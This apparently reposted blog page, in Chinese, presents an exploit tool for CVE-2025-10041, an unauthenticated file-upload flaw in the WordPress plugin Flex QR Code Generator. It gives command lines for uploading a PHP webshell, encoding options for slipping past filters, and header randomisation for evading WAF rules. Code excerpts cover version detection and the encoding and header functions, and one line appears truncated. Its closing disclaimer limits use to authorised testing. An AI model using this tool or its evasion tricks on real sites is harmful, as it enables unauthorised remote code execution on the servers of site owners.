首页
看点啥
插画图片
首页 看点啥 Flex QR Code Generator 漏洞利用程序 CVE-2025-10041

Flex QR Code Generator 漏洞利用程序 CVE-2025-10041

2026-07-01 0

Flex QR Code Generator 漏洞利用工具 (CVE-2025-10041)

本项目是一个专业的安全研究工具,针对 WordPress 插件 Flex QR Code Generator 在版本 1.2.5 及更早版本中存在的严重安全漏洞(CVE-2025-10041)。该漏洞源于 save_qr_code_to_db() 函数缺少对上传文件类型的有效验证,允许未经身份验证的攻击者上传任意文件,从而实现远程代码执行(RCE)。

Flex QR Code Generator 漏洞利用工具 CVE-2025-10041

功能特性

安装指南

环境要求

安装步骤

  1. 克隆或下载项目代码:将本项目脚本 CVE-2025-10041.py 保存到您的本地工作目录。

  2. 安装依赖:在终端中执行以下命令,安装所需的 Python 库。

    pip install requests
    

使用说明

基本语法

python3 CVE-2025-10041.py -u <目标URL> [选项]

基础用法

1. 基本漏洞利用

检测并尝试上传默认的 shell.php 到目标站点。

python3 CVE-2025-10041.py -u 

2. 使用文件名编码

通过 --encode_filename 参数对 WebShell 文件名进行 Base64 或 URL 编码。

python3 CVE-2025-10041.py -u  --encode_filename base64
python3 CVE-2025-10041.py -u  --encode_filename url

3. 使用内容编码

通过 --encode_content 参数对 WebShell 内容进行 Base64 编码,以规避内容过滤。

python3 CVE-2025-10041.py -u  --encode_content base64

4. 指定自定义 Shell 文件名

使用 --shellname 参数自定义上传的 WebShell 文件名。

python3 CVE-2025-10041.py -u  --shellname myevil.php

5. 组合高级选项

将多个绕过技巧组合使用。

python3 CVE-2025-10041.py -u  --encode_content base64 --encode_filename base64 --shellname myevil.php

6. 添加自定义请求头

使用 --headers 参数添加一个或多个自定义 HTTP 头。

python3 CVE-2025-10041.py -u  --headers "X-Forwarded-For: 127.0.0.1" "Cookie: PHPSESSID=1337"

7. 查看完整帮助

python3 CVE-2025-10041.py --help

核心代码

漏洞检测模块

    try:
        resp = requests.get(url, headers=headers, timeout=10)
        if resp.status_code == 200 and "Version: 1.2.5" in resp.text:
            return True
    except Exception:
        pass
    return False

编码绕过模块

该模块提供了文件名和内容的多种编码方式。encode_filename 支持 Base64 和 URL 编码,encode_content 可将 PHP 代码进行 Base64 编码并放入 eval() 中执行,用于绕过简单的黑名单检测。

def encode_filename(filename, method):
    if method == "base64":
        encoded = base64.urlsafe_b64encode(filename.encode()).decode()
        return encoded.replace("=", "")
    elif method == "url":
        return urllib.parse.quote(filename)
    return filenamedef encode_content(content, method):
    if method == "base64":
        encoded = base64.b64encode(content.encode()).decode()
        return f"{encoded}')); ?>"
    return content

HTTP 头随机化模块

为每次请求生成随机化的 HTTP 头,包括 User-Agent、Referer 和 Cookie,以模拟不同客户端行为,绕过简单的 WAF 规则。

def random_headers(custom_headers=None):
    user_agents = [
        "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)",
        "Mozilla/5.0 (Linux; Android 10)",
        "Mozilla/5.0 (iPhone; CPU iPhone OS 14_0 like Mac OS X)",
        "Mozilla/5.0 (Nxploited)"
    ]
    referers = [
        "https://google.com",
        "https://bing.com",
        "https://facebook.com",
        "https://twitter.com",
        "https://evil.com"
    ]
    headers = {
        "User-Agent": random.choice(user_agents),
        "Accept": "*/*",
        "Connection": "close",
        "Referer": random.choice(referers),
        "Cookie": f"wp_nonce={random.randint(100000,999999)}; test={random.randint(1,9999)}"
    }
    if custom_headers:
        headers.update(custom_headers)
    return headers

️ 免责声明

本工具及其代码仅供教育、科研和获得明确授权的渗透测试使用。严禁在未经目标系统所有者明确书面授权的情况下使用本工具进行任何形式的攻击或入侵行为。使用者须遵守所在地法律法规,因不当使用本工具而产生的一切后果均由使用者本人承担,作者(Nxploited / Khaled Alenazi)及本项目维护者不承担任何责任。 6HFtX5dABrKlqXeO5PUv/1h8+VvHkOyDf8nSFwj6pWk=

喜欢(0)

上一篇

渐进发现:代码库不是文档库

渐进发现:代码库不是文档库

下一篇

Document 组件:把文件喂给 AI 之前:必须先做这三步

Document 组件:把文件喂给 AI 之前:必须先做这三步
猜你喜欢